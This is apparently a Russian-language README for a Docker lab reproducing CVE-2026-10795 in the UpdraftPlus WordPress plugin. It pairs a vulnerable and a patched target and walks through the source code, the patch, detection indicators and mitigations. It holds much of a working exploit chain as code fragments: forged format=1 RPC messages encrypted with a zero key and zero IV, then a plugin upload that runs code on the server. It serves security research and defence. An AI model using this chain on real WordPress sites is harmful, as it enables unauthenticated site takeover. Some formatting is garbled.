
Docker-лаборатория, воспроизводящая CVE-2026-10795: обход аутентификации UpdraftPlus UpdraftCentral, объединённый с установкой плагина для получения RCE. Включает уязвимые/исправленные цели, PoC-эксплойт и пошаговый разбор исходного кода.
Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-10795, уязвимости неаутентифицированного обхода аутентификации, затрагивающей плагин WordPress UpdraftPlus через его удаленный коммуникационный слой UpdraftCentral.
Уязвимое поведение существует в потоке обработки RPC-сообщений UpdraftCentral. В уязвимых версиях поддельное RPC-сообщение с format=1 может обойти проверку подписи, запустить путь неудачного расшифрования RSA и все равно добраться до симметричного расшифрования с предсказуемым поведением нулевого ключа/нулевого IV. Это позволяет принять и выполнить сфабрикованное зашифрованное RPC-сообщение как команду UpdraftCentral.
Эта лаборатория сравнивает две версии UpdraftPlus:
| Сервис | Версия UpdraftPlus | Назначение | URL |
|---|---|---|---|
vuln | 1.26.4 | Уязвимая цель для сравнения | http://127.0.0.1:8081 |
patched | 1.26.5 | Исправленная цель для сравнения | http://127.0.0.1:8082 |
Демонстрируемая цепочка:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
Основная уязвимость — обход аутентификации. Лабораторная работа демонстрирует, что этот обход может быть объединён в цепочку для достижения воздействия типа RCE при наличии привилегированного состояния ключа UpdraftCentral, поскольку UpdraftCentral предоставляет легитимные команды управления плагинами, которые могут устанавливать и активировать плагины WordPress.
Это не уязвимость прямого внедрения команд. Доказательство выполнения кода основано на злоупотреблении функцией установки аутентифицированных плагинов после обхода границы аутентификации RPC.
Данная лабораторная работа предназначена только для контролируемого локального исследования, понимания исходного кода и демонстрации в портфолио.
## Подтверждённые факты
| Утверждение | Доказательство | Как проверить в этой лабораторной работе |
| -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- |
| UpdraftPlus 1.26.4 уязвим в этой лабораторной работе. | Уязвимый сервис принимает поддельное RPC-сообщение `format=1` и отправляет `plugin.upload_plugin`. | Запустить `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| UpdraftPlus 1.26.5 блокирует поддельное сообщение в этой лабораторной работе. | Исправленный сервис не возвращает тело ответа RPC и не отправляет поддельную команду. | Запустить `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| Проблема заключается в обходе аутентификации в слое RPC UpdraftCentral. | Неаутентифицированный запрос RPC с подделкой может достичь отправки команды в уязвимой версии. | Сравнить поведение `--ping` между портами `8081` и `8082`. |
| Лабораторная работа не устанавливает плагин-маркер заранее. | Установка включает только WordPress, UpdraftPlus и локальное состояние ключа UpdraftCentral. | Проверить `/wp-json/cve-lab/v1/id` до запуска PoC. |
| PoC устанавливает плагин-маркер через поддельный RPC. | PoC отправляет `plugin.upload_plugin` с ZIP-нагрузкой плагина в поле данных RPC. | Запустить PoC, затем запросить `/wp-json/cve-lab/v1/id`. |
| Уязвимая цель достигает воздействия типа RCE. | Плагин-маркер предоставляет жёстко закодированную конечную точку, возвращающую вывод `/usr/bin/id`. | Уязвимая цель возвращает `uid=33(www-data) gid=33(www-data)`. |
| Исправленная цель не устанавливает плагин-маркер. | Конечная точка маркера возвращает `404 rest_no_route` на исправленном сервисе. | Запустить PoC против `http://127.0.0.1:8082`. |
| Лабораторная работа требует состояния ключа UpdraftCentral. | Отправка UpdraftCentral зависит от локальной записи ключа и связанных метаданных. | Изучить `scripts/setup-wordpress.sh`. |
## Допущения и неизвестные
В данной лабораторной работе намеренно создаётся локальное состояние ключа UpdraftCentral для воспроизведения условия сайта, где настроено удалённое управление.
Созданное состояние ключа является предварительным условием лабораторной работы, а не самой уязвимостью. Оно позволяет лабораторной работе последовательно задействовать уязвимый путь разбора и дешифрования RPC.
Лабораторная работа не утверждает, что каждая установка UpdraftPlus немедленно эксплуатируема. Продемонстрированная цепочка зависит от наличия локальной записи ключа UpdraftCentral, связанной с привилегированным пользователем WordPress.
Лабораторная работа демонстрирует контролируемое воздействие типа RCE путём установки плагина-маркера, который предоставляет жёстко закодированную доказательную конечную точку `/usr/bin/id`. Она не предоставляет универсальный веб-шелл, параметр произвольного выполнения команд, реверс-шелл, механизм сохранения, кражу учётных данных или внешний обратный вызов.
PoC ограничен только локальными целями и по умолчанию отклоняет нелокальные имена хостов.
## Краткое описание первопричины
Первопричиной является неправильная проверка RPC-сообщений UpdraftCentral в уязвимых версиях UpdraftPlus.
Уязвимый поток RPC принимает сообщение `format=1`. Путь `format=1` не требует такой же проверки подписи, как более новые форматы сообщений.
Проблема на высоком уровне:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
При уязвимом поведении расшифровка RSA может возвращать:```text false
Вместо отклонения этого неудачного результата дешифрования уязвимый поток продолжается и передает значение в уровень симметричного дешифрования.
Эффективная уязвимая схема:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
Проблема в том, что $sym_key не проверяется перед использованием.
Когда $sym_key равен false, настройка шифра следует предсказуемому поведению с нулевым ключом/нулевым IV. Это позволяет создать зашифрованный RPC-полезный груз, используя известный нулевой ключ и нулевой IV.
Патч добавляет проверку перед использованием симметричного ключа:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Это изменяет границу доверия.
До патча:```text
failed RSA decrypt result could still reach symmetric decrypt
После патча:```text failed RSA decrypt result is rejected before command dispatch
Вот почему уязвимая служба выполняет поддельную RPC-команду, а исправленная — нет.
## Почему обход аутентификации может привести к выполнению кода
CVE-2026-10795 лучше всего описывается как обход аутентификации, поскольку коренной недостаток находится в уровне аутентификации RPC и верификации сообщений.
Однако после обхода этого барьера аутентификации подконтрольное злоумышленнику RPC-сообщение может достичь привилегированных команд UpdraftCentral.
Один из важных путей команд:
- `updraftcentral_send_command````text
plugin.upload_plugin
Эта команда является частью функциональности управления плагинами UpdraftCentral. Она принимает ZIP-пакет плагина, записывает его во временное местоположение, устанавливает плагин и активирует его по запросу.
Таким образом, цепочка воздействия:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Это не инъекция команд. Лабораторная работа демонстрирует выполнение кода путем установки плагина-маркера, который предоставляет одну конечную точку:```text
/wp-json/cve-lab/v1/id
Плагин маркера не принимает параметр команды. Он только запускает:```text /usr/bin/id
Это сохраняет контроль над доказательством и не позволяет превратить лабораторию в универсальную web shell.
## Сводка патча исходного кода
Соответствующее поведение патча заключается в том, что исправленная версия отклоняет недопустимые симметричные ключи перед попыткой расшифровать тело RPC-сообщения.
Важная валидация:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Это предотвращает уязвимое поведение отката, при котором неудачный результат расшифровки RSA может стать предсказуемым путём симметричного ключа.
Практический результат:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
Лаборатория также проверяет влияние на последующие компоненты, воздействуя на реальный путь команды загрузки плагина UpdraftCentral.
Соответствующее поведение команды:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
Патч блокирует поддельное сообщение до того, как этот путь команды будет достигнут.
В этом разделе объясняется уязвимый путь на уровне исходного кода и сопоставляется каждый шаг PoC с соответствующим поведением UpdraftPlus / UpdraftCentral.
Лаборатория не полагается на поддельный маршрут уязвимого приложения. Уязвимое поведение достигается через настоящий слушатель RPC UpdraftCentral и настоящий путь команды управления плагинами UpdraftCentral.
Важные области исходного кода:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Создание слушателя
Уязвимый путь RPC начинается, когда WordPress получает POST-запрос, содержащий:```text
udrpc_message
format
key_name
Библиотека RPC регистрирует слушатель на WordPress wp_loaded, когда существуют указанные поля POST.
Концептуально, поток выглядит следующим образом:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Это означает, что злоумышленнику не нужно знать специальную конечную точку REST или URL администратора. Поддельный RPC-запрос отправляется как обычный POST-запрос к корню сайта WordPress.
PoC отправляет:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
Запрос достигает того же пути прослушивателя, который используется для легитимной удаленной связи UpdraftCentral.
UpdraftCentral хранит локальные ключи удаленного управления в параметрах WordPress. В этой лабораторной работе скрипт установки задает контролируемое состояние ключа как для уязвимой, так и для исправленной цели.
Соответствующее имя ключа:```text 0.central.updraftplus.com
Этот формат создается логикой ключевых индикаторов UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
Слушатель продолжает работу только в том случае, если незашифрованное поле POST соответствует ожидаемому ключевому индикатору:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
Следовательно, PoC устанавливает:```python
KEY_NAME = "0.central.updraftplus.com"
Это не уязвимость. Это лабораторное предусловие, позволяющее тесту воспроизводимо задействовать уязвимый путь парсинга RPC и дешифрования.
UpdraftCentral поддерживает форматы сообщений. Важное различие заключается в:```text format=1 legacy path format=2 signed message path
В уязвимом пути выполнения кода проверка подписи происходит только когда формат больше или равен 2:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Поскольку PoC использует:```text format=1
этот блок проверки подписи пропускается.
Это граница обхода аутентификации.
Ожидается, что легитимное сообщение `format=2` содержит действительную подпись. Поддельное сообщение `format=1` не требует подписи, поэтому сообщение, контролируемое атакующим, может продолжить путь расшифровки.
### Уязвимый поток расшифровки
После проверок формата и имени ключа прослушиватель расшифровывает отправленное `udrpc_message`.
Уязвимый поток расшифровки в UpdraftPlus 1.26.4 по сути:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
Ошибка находится между этими двумя операциями:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
Если расшифровка RSA не удалась, `$rsa->decrypt()` может вернуть:```php
false
Уязвимая версия не отклоняет это значение перед передачей его в:```php $rij->setKey($sym_key);
Исправленная версия исправляет это, добавляя проверку:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
false становится предсказуемымУязвимое поведение опасно, потому что setKey(false) не приводит к безопасному сбою в этом пути phpseclib.
Код шифра вычисляет длину ключа из предоставленного ключа:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
Когда `$key` равно `false`, `strlen(false)` ведёт себя как случай нулевой длины ключа. Логика длины ключа Rijndael округляет очень маленькие размеры ключей до допустимой минимальной длины ключа:```php
case $length <= 128:
$this->key_length = 16;
break;
Затем настройка шифра дополняет ключ и IV нулевыми байтами:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
Таким образом, атакующий может смоделировать уязвимое поведение дешифрования как:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
Вот почему PoC может локально зашифровать команду JSON RPC и заставить уязвимую цель успешно её расшифровать.
Уязвимая функция расшифровки ожидает, что зашифрованное сообщение будет содержать:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
PoC собирает эту структуру вручную:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Блок RSA намеренно недействителен:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
На UpdraftPlus 1.26.4, неверный блок RSA приводит к сбою расшифровки RSA, но сбой не отклоняется.
На UpdraftPlus 1.26.5, результат неудачной расшифровки отклоняется новой защитой, и поддельное сообщение не достигает диспетчера команд.
### Внутреннее JSON RPC сообщение
Зашифрованное внутреннее сообщение представляет собой обычную JSON-команду в стиле UpdraftCentral.
Для проверки ping в PoC используется:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
Для стандартного ID proof, PoC использует:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
`key_name` встречается как снаружи, так и внутри зашифрованного сообщения. Слушатель проверяет, что они совпадают:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
Вот почему PoC должен включать одно и то же имя ключа в обоих местах.
После расшифровки сообщения слушатель разбирает его как JSON:```php $udrpc_message = json_decode($udrpc_message, true);
Сообщение должно содержать допустимую команду:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
Оно также должно содержать метку времени:```php if (empty($udrpc_message['time'])) { die; }
Временная метка должна находиться в пределах допустимого окна повторного воспроизведения:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
Таким образом, PoC устанавливает внутреннее поле time на текущее время.
После дешифровки и проверки сообщения UpdraftCentral отправляет команду.
Команды используют префиксный формат:```text .
Например:```text
plugin.upload_plugin
Это становится:```text prefix = plugin method = upload_plugin
Слушатель определяет класс команды по префиксу, а затем динамически вызывает метод.```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
Для команды PoC:```text plugin.upload_plugin
вызовы слушателя:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
Вот почему PoC не требует прямого приемника командной инъекции. Он достигает легитимной привилегированной команды UpdraftCentral после обхода границы аутентификации RPC.
Слушатель может установить текущего пользователя WordPress из метаданных ключа UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
В этой лабораторной работе установленный ключ имеет:```text
extra_info.user_id = 1
Это имитирует настроенный ключ UpdraftCentral, связанный с пользователем-администратором, созданным при установке WordPress.
Это важно, потому что путь загрузки плагина проверяет возможности WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
Таким образом, только обход позволяет передать поддельную команду в уровень RPC. Метаданные внедрённого ключа определяют, в контексте какого пользователя WordPress будет выполняться команда.
В этой лабораторной работе команда выполняется в контексте администратора, поскольку ключ связан с ID пользователя 1.
### Приёмник загрузки плагинов
Метод команды:
``````php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
Общий обработчик загрузки ожидает данные загрузки плагина:```text filename data activate
PoC отправляет:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Обработчик загрузки записывает содержимое ZIP-файла во временный файл:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
Для загрузки без разбиения на блоки установка выполняется немедленно:```php
$install_now = true;
Затем обработчик строит путь к ZIP-архиву:```php $zip_filepath = $upload_dir.'/'.$filename;
и устанавливает его с помощью обновлятора плагинов UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
Если установка прошла успешно и activate равно true, код активирует установленный плагин:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
Успешный ответ на установку содержит:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
Это причина на уровне исходного кода, почему поддельный обход аутентификации RPC может быть объединен с установкой и активацией плагинов WordPress.
Маркерный плагин генерируется PoC в памяти. Он не предустановлен настройками Docker.
Сгенерированный ZIP-архив содержит:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
Плагин marker регистрирует один REST маршрут:```text
/wp-json/cve-lab/v1/id
Конечная точка возвращает:```text lab plugin proof uid gid user id_output
Единственная команда, выполняемая плагином маркера, жестко закодирована:```php
shell_exec('/usr/bin/id 2>&1');
Нет управляемого пользователем параметра cmd.
Это сделано намеренно. Лабораторная работа демонстрирует выполнение кода плагином, избегая при этом создания универсальной веб-оболочки.
Исправленная служба получает тот же поддельный запрос и находится в том же начальном состоянии ключа.
Разница заключается в исправленном защитном механизме дешифрования:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Поскольку PoC намеренно предоставляет недействительный блок RSA, расшифрованный симметричный ключ недействителен.
В UpdraftPlus 1.26.5 поддельное сообщение останавливается до разбора JSON и до отправки команды.
Следовательно:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
Это исправленное поведение доказывает, что результат лабораторной работы зависит от уязвимого пути кода RPC в UpdraftPlus, а не от контейнера Docker.
PoC начинается с отказа от нелокальных целей:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
Это сохраняет область действия скрипта в пределах лаборатории Docker.
PoC создает внутреннее сообщение RPC:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
Если используется стандартное подтверждение ID, команда:```python command = "plugin.upload_plugin"
и данные:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Затем PoC шифрует внутренний JSON с помощью предсказуемого уязвимого состояния шифра:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
Это соответствует уязвимому последствию передачи `false` в настройку симметричного шифра. PoC намеренно использует плохой блок RSA:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
The resulting udrpc_message is built in the same length-prefixed format that the RPC decrypt function expects:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Наконец, PoC отправляет поддельный RPC-запрос:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
На уязвимой цели ответ сервера содержит действительное тело ответа в стиле RPC JSON. PoC рассматривает это как:```text RPC DISPATCHED
После отправки PoC проверяет воздействие, запрашивая marker endpoint:```text
GET /wp-json/cve-lab/v1/id
Если плагин marker был установлен и активирован, конечная точка возвращает:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Этот вывод доказывает, что поддельное неаутентифицированное RPC-сообщение достигло привилегированного пути установки плагина и активировало предоставленный атакующим код плагина внутри локальной лаборатории.
## Что доказывает лаборатория
Эта лаборатория доказывает следующую техническую цепочку:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
Лабораторная работа не доказывает, что каждая установка является эксплуатируемой без предварительных условий.
Необходимым предварительным условием для этой демонстрации является:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Настройка Docker создает это предварительное условие в обеих целях, чтобы разницу между уязвимым и исправленным поведением можно было справедливо протестировать.
## Архитектура лаборатории
Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
Два сервиса WordPress используют отдельные базы данных и отдельные версии UpdraftPlus:
Сервисы по умолчанию:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
Процесс настройки загружает одно и то же состояние ключа UpdraftCentral в оба сервиса:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
Это обеспечивает обоим целям одинаковое предварительное состояние. Разница в поведении обусловлена уязвимой и исправленной версией кода UpdraftPlus, а не разными настройками лаборатории.
requirements.txtЗависимости Python:```text requests urllib3<2 pycryptodome
Ограничение `urllib3<2` избегает предупреждений, связанных с LibreSSL, в некоторых сборках Python на macOS.
## Быстрый старт
Начните с чистого состояния лаборатории:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Смотрите логи установки:```bash docker compose logs -f vuln_setup patched_setup
Ожидаемые индикаторы настройки:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
Проверить запущенные службы:```bash
docker compose ps
Создайте и активируйте виртуальное окружение Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
Запустите стандартную проверку ID на уязвимой цели:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Запустите то же самое доказательство против исправленной цели:```bash python3 poc/poc.py --url http://127.0.0.1:8082
Скрипт намеренно требует опцию `--url`. Это заставляет тестировщика явно указывать цель, вместо того чтобы автоматически атаковать оба сервиса.
## Использование PoC
Поведение по умолчанию:```bash
python3 poc/poc.py --url <local_target_url>
Пример уязвимой цели:```bash python3 poc/poc.py --url http://127.0.0.1:8081
Пример исправленной цели:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Опциональная проверка только через ping:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Поддерживаемые опции:
| Опция | Обязательно | Назначение |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | Да | URL локальной лабораторной цели |
| `--ping` | Нет | Выполнить безвредную проверку поддельного ping вместо подтверждения удостоверения |
| `--timeout` | Нет | Тайм-аут HTTP в секундах. По умолчанию: `15` |
Принятые целевые хосты:```text
127.0.0.1
localhost
::1
PoC по умолчанию отклоняет нелокальные цели.
PoC запускается с хостовой машины и отправляет HTTP-запросы к открытым службам Docker.
Действие PoC по умолчанию — доказательство ID.
Общая схема работы следующая:```text
Плагин маркера не хранится в репозитории как отдельный файл плагина. Он создается в памяти PoC.
Сфальсифицированная команда RPC:```text
plugin.upload_plugin
Данные RPC содержат:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
PoC шифрует внутреннее сообщение JSON RPC, используя:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
Он также включает намеренно недействительный блок симметричного ключа, зашифрованный с помощью RSA.
В уязвимой версии сбой дешифрования RSA не отклоняется. Сообщение продолжает обрабатываться по предсказуемому пути дешифрования с нулевым ключом, и поддельная команда выполняется.
В исправленной версии недействительный симметричный ключ отклоняется, и поддельная команда не выполняется.
--pingОпция --ping является вспомогательным средством для отладки.
Она проверяет только обход криптографической защиты и границу вызова RPC. Она не загружает плагин и не выполняет /usr/bin/id.
Используйте --ping, когда проверка идентификатора по умолчанию не работает и необходимо изолировать сбой.
Если --ping завершается неудачей, проблема, скорее всего, возникает до выполнения команды:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
Если `--ping` выполняется успешно, но проверка ID не удается, проблема, вероятно, возникает после отправки:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Ожидаемое поведение ping:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Ожидаемые результаты
### Уязвимая цель
Команда:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### Исправленная цель
Команда:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## Команды ручной проверки
Проверьте состояние сервиса:```bash
docker compose ps
Проверьте метаданные уязвимого сервиса:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Проверить метаданные исправленной службы:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Проверьте состояние плагина во время выполнения:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Выполнить проверку только с помощью ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Подтверждение ID запуска:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Проверьте конечную точку маркера сразу после запуска PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Ожидается:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
Проверьте установленные плагины внутри уязвимого контейнера:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Проверьте установленные плагины внутри пропатченного контейнера:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Уязвимый сервис должен содержать маркерный плагин после выполнения PoC. Исправленный сервис — нет.
## Воздействие
Эта лаборатория демонстрирует, что неаутентифицированный злоумышленник может подделать RPC-сообщение UpdraftCentral, которое достигает привилегированной диспетчеризации команд в UpdraftPlus 1.26.4 при наличии подходящего состояния ключа UpdraftCentral.
Продемонстрированное воздействие относится к типу RCE, поскольку поддельная RPC-команда злоупотребляет легитимной функциональностью управления плагинами:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
Локальное подтверждение показывает выполнение от имени пользователя веб-сервера:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Категория уязвимости остаётся обходом аутентификации. Выполнение кода является цепным воздействием через установку привилегированного плагина WordPress.
## Обнаружение и мониторинг
Потенциальные индикаторы включают неаутентифицированные POST-запросы к главной странице WordPress, содержащие поля UpdraftCentral RPC:```text
format
key_name
udrpc_message
signature
Подозрительные характеристики:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
Индикаторы локальной лаборатории:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Идеи для мониторинга в рабочей среде:
udrpc_message.format=1 из ненадёжных источников.wp-content/plugins.Обновите UpdraftPlus до версии 1.26.5 или новее.
Исправленная версия отклоняет недействительные расшифрованные симметричные ключи до симметричного расшифрования и отправки команды.
Рекомендуемые шаги по смягчению последствий:
udrpc_message.Самое важное исправление — запустить исправленную версию UpdraftPlus, которая отклоняет недействительные симметричные ключи до расшифрования и отправки.
Остановите контейнеры и удалите сети:```bash docker compose down --remove-orphans
Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans
Удалить виртуальное окружение Python:```bash rm -rf venv
Удалите локальные файлы доказательств, если они были созданы:```bash
rm -rf evidence/
Эта лаборатория предназначена только для локального исследования безопасности и контролируемой демонстрации.
Не запускайте PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
Не используйте в этой лаборатории реальные учетные данные, производственные секреты или внешние цели.
PoC намеренно ограничен локальными сервисами Docker, такими как:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
По умолчанию PoC отказывается от нелокальных целей.
Плагин-маркер не реализует общий параметр выполнения команды. Он предоставляет только жестко закодированную локальную проверочную конечную точку, выполняющую `/usr/bin/id`.
В этой лабораторной работе не включено:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
